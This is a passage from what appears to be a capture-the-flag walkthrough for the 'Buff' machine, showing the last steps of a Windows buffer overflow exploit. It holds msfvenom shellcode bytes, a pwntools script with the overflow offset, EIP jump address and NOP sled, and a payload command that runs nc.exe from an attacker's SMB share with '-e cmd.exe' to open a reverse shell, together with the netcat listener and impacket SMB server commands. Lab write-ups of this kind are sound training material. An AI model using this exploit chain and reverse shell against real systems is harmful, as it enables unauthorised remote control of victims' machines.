buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"
Parameter explanation
| Parameter | Purpose |
|---|---|
| -a x86 | The target architecture, in this case x86. |
| -p windows/exec | The payload to use, in this case windows/exec, which lets us run commands on the target machine |
| CMD=’\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443 | The command the payload will run |
| -b ‘\x00 | The badchars, so msfvenom doesn’t put them in the shellcode, since they won’t be interpreted |
| -f python | The shellcode output format, in this case Python, so we can simply copy the output and paste it into the script without adapting anything |
Final script
To finish exploiting the buffer overflow, we write a script based on all the information we’ve gathered along the way
- ‘A’ * 1052: First we send 1052 ‘A’s to reach EIP
- 0x68a98a6b: Then the value for EIP, which will be the address to jump to ESP
- ‘ShellCode’: Finally, we send the shellcode.
from pwn import *
from struct import pack
offset = 1052
before_eip = b"A" * offset
eip = pack("<I", 0x68a98a6b)
buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
buf += b"\xb0\x0f\xf5\xcd\xe4\x67\xc4\x46\x6b\xff\xd9\x8d"
buf += b"\xcf\x0f\x90\x8f\x66\x98\x7d\x5a\x3b\xc5\x7d\xb1"
buf += b"\x78\xf0\xfd\x33\x01\x07\x1d\x36\x04\x43\x99\xab"
buf += b"\x74\xdc\x4c\xcb\x2b\xdd\x44\x97\x97\x10\x5e\x15"
buf += b"\x06\x62\x96\x61\x78\xb5\xf8\xa0\xb7\x80\x58\xb1"
buf += b"\xda\x88\x3c\x5b\x46\x63\xd8\xdb\xed\x5b\x0f\x7e"
buf += b"\xce\xf8\x22\xe4\x20\x9a\xc4\x81\x1c\x55\x0c\x7b"
buf += b"\x73\xa4\x58\x43\xa5\xf7\x8a\x82\x8a\xc2\xf2\xd0"
buf += b"\xd8\x1f\xf3"
payload = before_eip + eip + b"\x90"*16 + buf
host, port = "127.0.0.1", 8888
r = remote(host, port)
r.sendline(payload)
Before running it, we have to listen on port 443
nc -nlvp 443
Parameter explanation
- n: Skip DNS resolution
- l: Enable netcat’s listen mode
- v: Verbose mode
- p: Finally, p specifies the port number we’ll be listening on
We also have to start an SMB server to share nc.exe
impacket-smbserver smb $(pwd) -smb2support
Parameter explanation
- smb: Name of the share
- $(pwd): Returns the directory we’re in, and impacket-smbserver shares the contents of that path
- –smb2support: Enables support for the SMB2 protocol
We run the script and… we get the connection!
Now all that’s left is to use the Buff machine’s IP instead of ours and that’s it: machine completed